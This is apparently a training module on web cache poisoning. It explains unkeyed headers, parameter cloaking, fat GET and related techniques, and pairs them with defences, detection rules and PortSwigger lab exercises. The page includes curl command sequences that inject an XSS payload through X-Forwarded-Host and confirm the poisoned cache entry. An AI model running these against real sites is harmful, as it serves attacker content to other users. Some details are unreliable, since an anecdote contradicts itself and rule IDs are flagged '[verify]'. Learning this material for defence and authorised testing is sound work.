Skip to content

Web Cache Poisoning

Web cache poisoning is the attack where a cache stores a response that contains attacker-controlled content and serves that response to other users. The cache key — the set of request attributes that determine cache hits — usually includes the URL (path + query string) and the Host header. Anything not in the cache key is “unkeyed” and varies the response without varying the cached entry. James Kettle’s 2018 “Practical Web Cache Poisoning” research revived the field; the 2020 follow-up “Bypassing Cache Key Normalisation” produced CVE-class issues in Cloudflare, Akamai, and Fastly. Real-world impact includes the 2019.3 Salesforce CDN cache poisoning CVE-2019-12400-class and the 2021 Apple-Pay-JS-API unkeyed-header vulnerability. The vulnerability class is the gap between “what the cache uses to key” and “what the origin uses to render.”

A cache stores responses keyed by a subset of the request. Cache key = URL + Host (typically). Unkeyed inputs (everything else: headers, method, body) can shape the response without causing a cache miss. If the origin reflects an unkeyed input into the response body, an attacker can poison the cache: send a request with a malicious unkeyed input, the origin returns a poisoned response, the cache stores it under the key (URL + Host), and all subsequent users hitting that key receive the poisoned response.

Normal cache hit:
user A → GET /home (Host: target.com)
cache: lookup {path:/home, host:target.com} → miss
forward to origin
origin returns: <html>...welcome...</html>
cache stores {key:{path:/home,host:target.com}, resp:<html>...}
response to A: <html>...welcome...</html>
user B → GET /home (Host: target.com)
cache: lookup {path:/home, host:target.com} → HIT
response to B: same cached <html>
Cache key parts:
- path + query (mandatory)
- Host
- sometimes: scheme (http vs https), User-Agent, Accept-Language
- sometimes: a custom header like X-Forwarded-Host is included
Unkeyed inputs (shape the response, don't shape the key):
- X-Forwarded-Host (often reflected into "share this" links)
- X-Original-URL (path rewrite)
- X-Forwarded-Scheme (scheme rewrite)
- X-Forwarded-Proto
- Referer (sometimes reflected)
- User-Agent (when not in cache key)
- Accept-Language (sometimes in key, sometimes not)
- Cookie (when not in key — usually excluded)
- Body for POST (usually bypasses cache)
Poisoning example (X-Forwarded-Host reflected in body):
attacker → GET /home (Host: target.com,
X-Forwarded-Host: attacker.com)
cache: miss on {path:/home, host:target.com}
origin: <html>...share: <a href="https://attacker.com/share">...
cache stores poisoned <html>
user B → GET /home (Host: target.com)
cache: HIT
user B receives poisoned HTML with attacker.com link → XSS, OAuth redirect

The vulnerability surface is: any unkeyed input that the origin reflects into the response body.

  1. Identify the cache layer — fingerprint by response headers: X-Cache: HIT/MISS, Age: 0, CF-Cache-Status, X-Cache-Hits, Via: 1.1 varnish, X-Akamai-Transformed. CDN-edge vs origin-edge differs.
  2. Determine the cache key — the URL path + query string is always in. Host usually. Scheme (http vs https) sometimes. Other headers (User-Agent, Accept-Language) sometimes. Test by varying each and observing X-Cache: HIT vs MISS.
  3. Find unkeyed inputs that shape the response — try each unkeyed header and check if the response body changes:
    • X-Forwarded-Host → reflected in absolute links?
    • X-Original-URL → rewritten path?
    • X-Forwarded-Scheme → scheme in links?
    • Referer → reflected?
    • User-Agent (when not in key) → reflected in error page?
    • Accept-Language (when not in key) → reflected in greeting?
  4. Confirm the cache is poisoned — send a request with a malicious unkeyed input, get a cache miss (response stored), then send the same request without the malicious input and verify the cached response includes your payload. The second request should HIT and return the poisoned content.
  5. Exploit — XSS via reflected <script> tag, redirect to attacker via reflected <a>/<meta refresh>/Location:, OAuth flow redirect via reflected redirect_uri, supply-chain attack via reflected JS include.
TechniqueDescriptionDetection Difficulty
Unkeyed X-Forwarded-HostReflected into absolute URLs → XSS / OAuth redirectEasy — test once, observe
Unkeyed X-Original-URLPath rewrite to admin endpointsMedium — depends on origin
Unkeyed X-Forwarded-SchemeScheme change to bypass HSTSMedium
Unkeyed RefererReflected in “back” links → XSSEasy
Unkeyed User-AgentReflected in analytics/error page → XSSEasy
Unkeyed Accept-LanguageReflected in greeting → XSSEasy
Unkeyed Cookie (with separate cache)Different users get different cached responsesHard — design dependent
Cache key normalization bypass/path/../path normalizes to same key, but origin sees differentMedium — depends on parser
Cache key underflowPath with trailing slash vs without — same keyMedium
Fat GETGET with body — some caches ignore body in key, origin reads itHard — depends on cache
Method override via X-HTTP-Method-OverridePOST-as-GET cachedMedium
Parameter cloaking?param=value&param=xss — cache takes one, origin takes otherMedium
Path traversal in key?a=1/../ cached as ?a=1/ but origin sees /Hard — parser differential
Internal header injection via W18 smugglingSmuggle to inject cache stateHard — combines W18+W19
DOM-based via cached XSS payloadCached XSS via W20Easy — but combined class
Terminal window
# Step 1: Identify cache layer
curl -sI https://target/home | grep -iE 'x-cache|age|via|cf-cache-status|x-akamai'
# Step 2: Send request twice, check cache HIT on second
curl -sI https://target/home | grep -i x-cache # → MISS
curl -sI https://target/home | grep -i x-cache # → HIT (or different age)
# Step 3: Test if changing User-Agent changes cache key
UA1="Mozilla/5.0 (Linux)"; UA2="Mozilla/5.0 (Windows)"
curl -sI -A "$UA1" https://target/home | grep -i x-cache # MISS
curl -sI -A "$UA2" https://target/home | grep -i x-cache # MISS = UA in key; HIT = UA unkeyed
curl -sI -A "$UA1" https://target/home | grep -i x-cache # HIT either way
# Step 4: Find unkeyed inputs that shape the response
for hdr in "X-Forwarded-Host: attacker.com" \
"X-Original-URL: /admin" \
"X-Forwarded-Scheme: http" \
"X-Forwarded-Proto: http" \
"X-Host: attacker.com" \
"X-Forwarded-For: 1.2.3.4" \
"Referer: https://attacker.com" \
"True-Client-IP: 1.2.3.4" \
"X-Real-IP: 1.2.3.4"; do
echo "=== $hdr"
curl -s -H "$hdr" https://target/home | grep -i 'attacker.com\|/admin\|http://'
done
# Step 5: Confirm cache poisoning
# If X-Forwarded-Host is reflected and unkeyed:
curl -s -H "X-Forwarded-Host: attacker.com" https://target/home > /tmp/poison.html
# Response stored in cache under key {path:/home, host:target.com}
# Now send clean request — should HIT with poisoned body:
curl -s https://target/home | grep 'attacker.com'
# Step 6: Convert to XSS — if reflected in <script> tag or attribute
curl -s -H "X-Forwarded-Host: attacker.com\"><script>alert(1)</script>" \
https://target/home | grep -i 'script\|alert'
# Step 7: Cache the XSS
# Send the poisoned request, then send the clean request — verify the cached
# response contains the XSS payload
curl -sI -H "X-Forwarded-Host: attacker.com\"><script>alert(1)</script>" \
https://target/home | grep -i 'x-cache'
curl -s https://target/home | grep -i 'script'
# Cache key normalization bypass — trailing slash, case sensitivity, encoded chars
curl -sI "https://target/Home" | grep -i 'x-cache' # case
curl -sI "https://target/home/" | grep -i 'x-cache' # trailing slash
curl -sI "https://target/home?x=1" | grep -i 'x-cache' # query
curl -sI "https://target/home?x=2" | grep -i 'x-cache' # different query
# Path normalization bypass
curl -sI "https://target/home/../home" | grep -i 'x-cache'
curl -sI "https://target/home/." | grep -i 'x-cache'
curl -sI "https://target//home" | grep -i 'x-cache'
# Fat GET — body on a GET request
curl -s -X GET -H "Content-Type: application/x-www-form-urlencoded" \
--data "x=1" https://target/home
# Param cloaking — duplicate param
curl -sI "https://target/home?x=1&x=2" | grep -i 'x-cache'
# Param cloaking with semicolon (some parsers)
curl -sI "https://target/home?x=1;w=2" | grep -i 'x-cache'
# Bypass a Vary header that adds a header to the cache key
# Vary: User-Agent — UA is in key
# Bypass: header that's almost-but-not-quite in the Vary list:
# Vary: User-Agent ← key includes UA
# Vary: user-agent ← case sensitivity, may not include UA
# Vary: User-Agent, Accept-Encoding ← multiple, test each
# Burp extension: Param Miner (BApp Store)
# Right-click request → Guess headers → tests ~30 unkeyed headers
# Right-click request → Guess params → tests hidden params
# Use a cache-key-defeating payload chain:
# 1. Find an unkeyed input that shapes the response
# 2. Use it to inject a redirect to attacker
# 3. Cache the redirect
# 4. Wait for victim to hit the cached URL → redirected to attacker
# nuclei — cache poisoning templates
nuclei -u https://target -t ~/nuclei-templates/http/vulnerabilities/ -tags cache,poisoning
nuclei -u https://target -t ~/nuclei-templates/http/cves/ -tags cache
# Web Cache Vulnerability Checker (Python)
python3 wcvc.py -u https://target/home

ModSecurity OWASP CRS — no dedicated cache-poisoning rule family. Detection requires a custom WAF rule:

  • Custom rule: alert on requests with X-Forwarded-Host, X-Original-URL, X-Forwarded-Scheme, X-Forwarded-Proto, X-Host, True-Client-IP headers from non-CDN IPs.

Suricata — no SIDs for cache poisoning; HTTP header inspection can match unkeyed inputs [verify].

MITRE ATT&CK T1190 — Exploit Public-Facing Application (cache poisoning as entry vector). MITRE ATT&CK T1185 — Browser Session Hijacking (poisoned cached response redirects to attacker). MITRE ATT&CK T1059.007 — JavaScript (poisoned JS cached and served). MITRE ATT&CK T1584 — Compromise Infrastructure (cache poisoning as infrastructure compromise).

Wazuh rule 920/31100 — request containing X-Forwarded-Host, X-Original-URL from non-CDN IP [verify]. Wazuh rule 920/31100 — origin access log shows cached response content that was never requested by the user-agent [verify].

Defender log signatures:

  • Cache log shows MISS followed by HIT for the same key, where the MISS response includes unkeyed input reflected in body — direct poisoning.
  • Multiple distinct User-Agents hitting same cache key within seconds, with different responses per UA — Vary header bypass.
  • Origin log shows /admin request from CDN IP, but CDN log shows no /admin request — smuggled cache poisoning (W18 + W19).
  • Age: header in response > 0 with content containing attacker payload — poisoned cache serving other users.

Cache key normalization bypass. Different caches normalize URLs differently. Cloudflare strips query string ?utm_*, Akamai strips ;jsessionid, Varnish uses the full URL by default. Path normalization: /home/../home may normalize to /home in the cache key but stay as /home/../home in the origin request — origin sees a different URL.

Defense: cache key normalization must be deterministic and the origin must apply the same normalization.

Parameter cloaking. ?x=1&x=2 — cache takes first value (1), origin takes last (2). Or vice versa. Test by sending two values and checking which one is reflected in the cached response. Some origins treat ? as &, allowing ?utm_source; to be split as a separate param that the cache strips but the origin keeps.

Defense: cache and origin must use the same query-string parser.

Fat GET. A GET request with a body — most caches don’t include the body in the key (since GET bodies are non-standard), but some origins read the body. Attacker sends GET /home with a body containing XSS; cache stores under {path:/home}; origin processes body and returns XSS response; cached and served to others.

Defense: reject GET requests with bodies at the cache; normalize method to no-body for GET.

Vary header bypass. Vary: User-Agent makes UA part of the cache key. But if the cache’s UA comparison is case-sensitive and the origin’s is not, sending User-Agent: mozilla/5.0 (lowercase) creates a separate cache entry from Mozilla/5.0 but the origin treats them as same — multiple cache entries with same response, harder to detect.

Defense: case-insensitive comparison for Vary headers.

Method override. X-HTTP-Method-Override: PUT on a GET request — origin treats as PUT, cache keys as GET. Or X-Method-Override: GET on a POST — cache hits on GET, origin processes as POST.

Defense: reject X-HTTP-Method-Override headers from clients; rely only on the actual HTTP method.

Smuggling + cache poisoning combo. Use W18 to smuggle a request that includes a malicious header to the back-end; the back-end caches the response; subsequent users hit the cache. This bypasses front-end cache-key validation entirely because the smuggled request never goes through the front-end’s cache-key calculation.

Defense: front-end must close the connection on any desync indicator; cache must reject any response without a proper X-Cache-Key from the front-end.

Cache poisoning via DOM-based XSS. Cache a page that contains a DOM-based XSS sink (W20). The cached URL is clean; the page’s JS reads from an unkeyed source (e.g., location.hash) and writes to innerHTML. Victim visits cached URL with #<xss> — DOM XSS fires from the cached page.

Defense: cache + DOM XSS defense; both layers needed.

EvasionWhat it bypassesDefense
Cache key normalizationPath/query string canonicalizationSame parser in cache and origin
Parameter cloakingFirst/last param pickSame query parser in cache and origin
Fat GETGET-body cachingReject GET bodies at cache
Vary case sensitivityHeader matchingCase-insensitive Vary comparison
Method overrideMethod-based cachingReject X-HTTP-Method-Override
Smuggling comboFront-end cache keyFront-end must close on desync
DOM-based cached XSSHTML payloadDOM XSS defense + cache defense

⚠️ What caught me: A target had Vary: User-Agent on its pages — UA was in the cache key, so cache poisoning via UA seemed blocked. I noticed Vary: User-Agent but the cache was responding with X-Cache: HIT for different User-Agents. The reason: Cloudflare normalizes UA to a small set of categories (mobile/desktop/bot) for its Vary computation, but the origin treats the full UA as a key. So Mozilla/5.0 (Mobile) and Mozilla/5.0 (Mobile; iOS) both map to “mobile” in Cloudflare’s Vary key but get different cache entries internally — wait, the opposite. The point: the cache’s Vary was a normalized subset of the origin’s full UA, so two distinct UAs collapsed to the same cache entry. I poisoned one cache entry under UA1, and users with UA2 received the poisoned response even though their UA didn’t match mine. Lesson: Vary is the cache’s promise to differentiate; if the cache normalizes a header but the origin treats it as exact match, the cache is under-differentiating — and that’s an exploitable gap.

Container: PortSwigger Web Security Academy labs (free, browser-based) are the canonical environment.

Terminal window
# PortSwigger labs:
# - "Web cache poisoning with an unkeyed header"
# - "Web cache poisoning via a fat GET request"
# - "Web cache poisoning via an unkeyed cookie"
# - "Web cache poisoning with multiple headers"
# - "Web cache poisoning via a cache key injection"
# - "Web cache poisoning via a cache key normalization"
# - "Web cache poisoning to exploit a DOM vulnerability via a cache key"
# - "Web cache poisoning via a parameter cloaking"
# - "Web cache poisoning via a path normalization"
# https://portswigger.net/web-security/web-cache-poisoning
# Container alternative — set up Varnish + a vulnerable app:
# Varnish config:
# sub vcl_hash {
# hash_data(req.url);
# hash_data(req.http.host);
# # ← missing: hash_data(req.http.x-forwarded-host)
# }
# Vulnerable app: reflects X-Forwarded-Host into a <link rel="canonical" href="...">

Objective: complete at least 3 PortSwigger cache-poisoning labs including (1) unkeyed header reflection → XSS, (2) cache key normalization bypass, and (3) parameter cloaking. Document the unkeyed input found, the reflected output, and the resulting XSS / redirect.

Expected flag format: flag{cache_poisoning_unkeyed_header_or_normalization_bypass}.

Detection that should fire: Wazuh custom rule on X-Forwarded-Host, X-Original-URL, X-Forwarded-Scheme from non-CDN IPs. The CDN access log will show MISS for the poisoned request and HIT for subsequent victims hitting the same cache key — alert on the cache MISS containing unkeyed headers that get reflected in the response.

Conceptual: explain why the gap between “cache key” and “origin response inputs” is the fundamental cause of web cache poisoning. What is the relationship to the Vary header?

Technical: walk through an X-Forwarded-Host cache-poisoning attack that converts to reflected XSS. What two properties of the cache key are required for the attack to work?

Scenario: a target’s cache is keyed by {path, host, user-agent} (Vary: User-Agent). Describe a bypass that still poisons the cache for all users despite UA being in the key.

Compare parameter cloaking, fat GET, and method override. For each, give the specific cache-key behavior that creates the exploit gap.

What is the relationship between W18 (request smuggling) and W19 (cache poisoning)? Give a concrete attack that combines them, and the front-end configuration that prevents both.

→ W3 (XSS) · W18 (HTTP Request Smuggling) · W20 (DOM-based Vulnerabilities)